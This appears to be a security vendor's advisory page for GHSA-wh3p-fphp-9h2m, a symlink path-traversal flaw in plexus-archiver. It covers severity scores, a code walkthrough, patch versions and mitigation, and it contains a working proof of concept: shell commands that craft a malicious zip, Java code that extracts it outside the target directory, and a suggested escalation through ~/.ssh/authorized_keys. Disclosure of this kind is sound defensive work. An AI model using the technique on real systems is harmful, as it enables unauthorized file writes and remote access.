GHSA-wh3p-fphp-9h2m is a high-severity (CVSS 8.1) Path Traversal vulnerability in org.codehaus.plexus:plexus-archiver. 1 public exploit reference exists, so weaponization risk is real. A fix is available for org.codehaus.plexus:plexus-archiver — see the affected versions and patch details below.
Arbitrary File Creation in AbstractUnArchiver
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wh3p-fphp-9h2m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wh3p-fphp-9h2m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.codehaus.plexus:plexus-archiverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution.
Description
When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default, will actually write the entry's content to the symlink's target.
Impact
Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution.
Technical Details
protected void extractFile( final File srcF, final File dir, final InputStream compressedInputStream, String entryName, final Date entryDate, final boolean isDirectory, final Integer mode, String symlinkDestination, final FileMapper[] fileMappers)
throws IOException, ArchiverException
{
...
// Hmm. Symlinks re-evaluate back to the original file here. Unsure if this is a good thing...
final File targetFileName = FileUtils.resolveFile( dir, entryName );
// Make sure that the resolved path of the extracted file doesn't escape the destination directory
// getCanonicalFile().toPath() is used instead of getCanonicalPath() (returns String),
// because "/opt/directory".startsWith("/opt/dir") would return false negative.
Path canonicalDirPath = dir.getCanonicalFile().toPath();
Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();
if ( !canonicalDestPath.startsWith( canonicalDirPath ) )
{
throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" );
}
try
{
...
if ( !StringUtils.isEmpty( symlinkDestination ) )
{
SymlinkUtils.createSymbolicLink( targetFileName, new File( symlinkDestination ) );
}
else if ( isDirectory )
{
targetFileName.mkdirs();
}
else
{
try ( OutputStream out = Files.newOutputStream( targetFileName.toPath() ) )
{
IOUtil.copy( compressedInputStream, out );
}
}
targetFileName.setLastModified( entryDate.getTime() );
if ( !isIgnorePermissions() && mode != null && !isDirectory )
{
ArchiveEntryUtils.chmod( targetFileName, mode );
}
}
catch ( final FileNotFoundException ex )
{
getLogger().warn( "Unable to expand to file " + targetFileName.getPath() );
}
}
When given an entry that already exists in dir as a symbolic link whose target does not exist - the symbolic link’s target will be created and the content of the archive’s entry will be written to it.
That’s because the way FileUtils.resolveFile() works:
public static File resolveFile( final File baseFile, String filename )
{
...
try
{
file = file.getCanonicalFile();
}
catch ( final IOException ioe )
{
// nop
}
return file;
}
File.getCanonicalFile() (tested with the most recent version of openjdk (22.2) on Unix) will eventually call JDK_Canonicalize():
JNIEXPORT int
JDK_Canonicalize(const char *orig, char *out, int len)
{
if (len < PATH_MAX) {
errno = EINVAL;
return -1;
}
if (strlen(orig) > PATH_MAX) {
errno = ENAMETOOLONG;
return -1;
}
/* First try realpath() on the entire path */
if (realpath(orig, out)) {
/* That worked, so return it */
collapse(out);
return 0;
} else {
/* Something's bogus in the original path, so remove names from the end
until either some subpath works or we run out of names */
...
realpath() returns the destination path for a symlink, if this destination exists. But if it doesn’t - it will return NULL and we will reach the else’s clause, which will eventually return the path of the symlink itself. So in case the entry is already exists as a symbolic link to a non-existing file - file.getCanonicalFile() will return the absolute path of the symbolic link and this check will pass:
Path canonicalDirPath = dir.getCanonicalFile().toPath();
Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();
if ( !canonicalDestPath.startsWith( canonicalDirPath ) )
{
throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" );
}
Later, the content of the entry will be written to the symbolic link’s destination and by doing so will create the destination file and fill it with the entry’s content.
Arbitrary file creation can lead to remote code execution. For example, if there is an SSH server on the victim’s machine and ~/.ssh/authorized_keys does not exist - creating this file and filling it with an attacker's public key will allow the attacker to connect the SSH server without knowing the victim’s password.
PoC
We created a zip as following:
$ ln -s /tmp/target entry1
$ echo -ne “content” > entry2
$ zip --symlinks archive.zip entry1 entry2
The following command will change the name of entry2 to entry1:
$ sed -i 's/entry2/entry1/' archive.zip
We put archive.zip in /tmp and create a dir for the extracted files:
$ cp archive.zip /tmp
$ mkdir /tmp/extracted_files
Next, we wrote a java code that opens archive.zip:
package com.example;
import java.io.File;
import org.codehaus.plexus.archiver.zip.ZipUnArchiver;
public class App
{
public static void main( String[] args )
{
ZipUnArchiver unArchiver = new ZipUnArchiver(new File("/tmp/archive.zip"));
unArchiver.setDestDirectory(new File("/tmp/extracted_files"));
unArchiver.extract();
}
}
After running this java code, we can see that /tmp/target contains the string “content”:
$ cat /tmp/target
content
Notice that although we used here a duplicated entry name in the same archive, this attack can be performed also by two different archives - one that contains a symlink and another archive that contains a regular file with the same entry name as the symlink.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.codehaus.plexus:plexus-archiver | all versions | 4.8.0org.codehaus.plexus:plexus-archiver:4.8.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.codehaus.plexus:plexus-archiver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.codehaus.plexus:plexus-archiver to 4.8.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wh3p-fphp-9h2m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wh3p-fphp-9h2m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-wh3p-fphp-9h2m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
There are factors beyond the attacker's control. For example, the victim's server must have an incomplete SSH server configuration by not having the "~/.ssh/authorized_keys" existent and also having an SSH Server Port externally accessible. So, an attacker would need, even in other scenarios, to gather configuration…
| Product | Fixed in | Advisory |
|---|---|---|
| Migration Toolkit for Runtimes 1 on RHEL 8 | plexus-archiver | RHSA-2023:6138 |
| Red Hat Enterprise Linux 7 | plexus-archiver-0:2.4.2-6.el7_9 | RHSA-2023:6886 |
Frequently Asked Questions
Is GHSA-wh3p-fphp-9h2m in your dependencies?
O3 Security finds GHSA-wh3p-fphp-9h2m across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.